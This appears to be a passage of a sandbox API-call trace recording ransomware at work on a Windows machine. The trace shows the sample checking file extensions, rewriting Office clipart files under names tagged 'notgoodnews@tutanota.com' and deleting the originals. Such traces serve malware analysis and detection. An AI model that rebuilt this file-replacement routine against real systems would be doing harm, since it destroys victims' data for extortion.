lpString2="_.WMF") returned -1 [0079.072] lstrlenW (lpString=".pdf") returned 4 [0079.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.072] lstrlenW (lpString=".xls") returned 4 [0079.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.072] lstrlenW (lpString=".xlsx") returned 5 [0079.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.072] lstrlenW (lpString=".ppt") returned 4 [0079.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.072] lstrlenW (lpString=".zip") returned 4 [0079.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.072] lstrlenW (lpString=".rar") returned 4 [0079.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.072] lstrlenW (lpString=".bz2") returned 4 [0079.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.072] lstrlenW (lpString=".7z") returned 3 [0079.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.072] lstrlenW (lpString=".dbf") returned 4 [0079.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.072] lstrlenW (lpString=".1cd") returned 4 [0079.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.073] lstrlenW (lpString=".jpg") returned 4 [0079.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.073] lstrlenW (lpString=".doc") returned 4 [0079.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.073] lstrlenW (lpString=".docx") returned 5 [0079.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.073] lstrlenW (lpString=".pdf") returned 4 [0079.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.073] lstrlenW (lpString=".xls") returned 4 [0079.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.073] lstrlenW (lpString=".xlsx") returned 5 [0079.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.073] lstrlenW (lpString=".ppt") returned 4 [0079.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.073] lstrlenW (lpString=".zip") returned 4 [0079.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.073] lstrlenW (lpString=".rar") returned 4 [0079.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.073] lstrlenW (lpString=".bz2") returned 4 [0079.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.073] lstrlenW (lpString=".7z") returned 3 [0079.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.073] lstrlenW (lpString=".dbf") returned 4 [0079.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.073] lstrlenW (lpString=".1cd") returned 4 [0079.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0079.073] lstrlenW (lpString=".jpg") returned 4 [0079.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.074] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.074] lstrlenW (lpString="BL00152_.WMF") returned 12 [0079.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0079.074] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1516) returned 1 [0079.074] CloseHandle (hObject=0x358) returned 1 [0079.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0079.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0079.074] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.074] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0079.075] GetLastError () returned 0x0 [0079.075] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x5ec, lpOverlapped=0x0) returned 1 [0079.076] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x5f0, lpOverlapped=0x0) returned 1 [0079.077] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.077] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.077] SetEndOfFile (hFile=0x330) returned 1 [0079.077] CloseHandle (hObject=0x330) returned 1 [0079.078] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.078] SetEndOfFile (hFile=0x358) returned 1 [0079.079] CloseHandle (hObject=0x358) returned 1 [0079.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0079.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.080] lstrlenW (lpString=".doc") returned 4 [0079.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.080] lstrlenW (lpString=".docx") returned 5 [0079.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.080] lstrlenW (lpString=".pdf") returned 4 [0079.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.080] lstrlenW (lpString=".xls") returned 4 [0079.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.080] lstrlenW (lpString=".xlsx") returned 5 [0079.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.080] lstrlenW (lpString=".ppt") returned 4 [0079.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.080] lstrlenW (lpString=".zip") returned 4 [0079.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.080] lstrlenW (lpString=".rar") returned 4 [0079.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.080] lstrlenW (lpString=".bz2") returned 4 [0079.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.080] lstrlenW (lpString=".7z") returned 3 [0079.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.080] lstrlenW (lpString=".dbf") returned 4 [0079.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.080] lstrlenW (lpString=".1cd") returned 4 [0079.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.080] lstrlenW (lpString=".jpg") returned 4 [0079.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.081] lstrlenW (lpString=".doc") returned 4 [0079.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.081] lstrlenW (lpString=".docx") returned 5 [0079.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0079.081] lstrlenW (lpString=".pdf") returned 4 [0079.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.081] lstrlenW (lpString=".xls") returned 4 [0079.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.081] lstrlenW (lpString=".xlsx") returned 5 [0079.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0079.081] lstrlenW (lpString=".ppt") returned 4 [0079.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.081] lstrlenW (lpString=".zip") returned 4 [0079.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.081] lstrlenW (lpString=".rar") returned 4 [0079.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.081] lstrlenW (lpString=".bz2") returned 4 [0079.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.081] lstrlenW (lpString=".7z") returned 3 [0079.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.081] lstrlenW (lpString=".dbf") returned 4 [0079.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.081] lstrlenW (lpString=".1cd") returned 4 [0079.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0079.081] lstrlenW (lpString=".jpg") returned 4 [0079.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.082] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0079.082] lstrlenW (lpString="BL00194_.WMF") returned 12 [0079.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0079.082] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3986) returned 1 [0079.082] CloseHandle (hObject=0x358) returned 1 [0079.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0079.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0079.082] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.082] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0079.083] GetLastError () returned 0x0 [0079.083] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xf92, lpOverlapped=0x0) returned 1 [0079.477] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xfa0, lpOverlapped=0x0) returned 1 [0079.478] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.478] WriteFile (in: hFile=0x330, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.478] SetEndOfFile (hFile=0x330) returned 1 [0080.175] CloseHandle (hObject=0x330) returned 1 [0080.243] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.254] SetEndOfFile (hFile=0x358) returned 1 [0080.255] CloseHandle (hObject=0x358) returned 1 [0080.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0080.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.256] lstrlenW (lpString=".doc") returned 4 [0080.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.256] lstrlenW (lpString=".docx") returned 5 [0080.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.256] lstrlenW (lpString=".pdf") returned 4 [0080.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.256] lstrlenW (lpString=".xls") returned 4 [0080.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.256] lstrlenW (lpString=".xlsx") returned 5 [0080.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.256] lstrlenW (lpString=".ppt") returned 4 [0080.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.256] lstrlenW (lpString=".zip") returned 4 [0080.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.256] lstrlenW (lpString=".rar") returned 4 [0080.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.256] lstrlenW (lpString=".bz2") returned 4 [0080.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.256] lstrlenW (lpString=".7z") returned 3 [0080.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.257] lstrlenW (lpString=".dbf") returned 4 [0080.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.257] lstrlenW (lpString=".1cd") returned 4 [0080.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.257] lstrlenW (lpString=".jpg") returned 4 [0080.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.257] lstrlenW (lpString=".doc") returned 4 [0080.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.257] lstrlenW (lpString=".docx") returned 5 [0080.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.257] lstrlenW (lpString=".pdf") returned 4 [0080.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.257] lstrlenW (lpString=".xls") returned 4 [0080.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.257] lstrlenW (lpString=".xlsx") returned 5 [0080.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.257] lstrlenW (lpString=".ppt") returned 4 [0080.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.257] lstrlenW (lpString=".zip") returned 4 [0080.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.257] lstrlenW (lpString=".rar") returned 4 [0080.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.257] lstrlenW (lpString=".bz2") returned 4 [0080.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.258] lstrlenW (lpString=".7z") returned 3 [0080.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.258] lstrlenW (lpString=".dbf") returned 4 [0080.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.258] lstrlenW (lpString=".1cd") returned 4 [0080.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0080.258] lstrlenW (lpString=".jpg") returned 4 [0080.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.258] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.258] lstrlenW (lpString="BL00270_.WMF") returned 12 [0080.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0080.258] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3016) returned 1 [0080.258] CloseHandle (hObject=0x358) returned 1 [0080.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220 [0080.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0080.259] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.259] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0080.259] GetLastError () returned 0x0 [0080.259] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xbc8, lpOverlapped=0x0) returned 1 [0080.260] WriteFile (in: hFile=0x354, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xbd0, lpOverlapped=0x0) returned 1 [0080.262] ReadFile (in: hFile=0x358, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0080.262] WriteFile (in: hFile=0x354, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0080.262] SetEndOfFile (hFile=0x354) returned 1 [0080.262] CloseHandle (hObject=0x354) returned 1 [0080.263] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0080.263] SetEndOfFile (hFile=0x358) returned 1 [0080.263] CloseHandle (hObject=0x358) returned 1 [0080.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0080.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0080.264] lstrlenW (lpString=".doc") returned 4 [0080.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.264] lstrlenW (lpString=".docx") returned 5 [0080.264] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.264] lstrlenW (lpString=".pdf") returned 4 [0080.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.264] lstrlenW (lpString=".xls") returned 4 [0080.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.264] lstrlenW (lpString=".xlsx") returned 5 [0080.264] 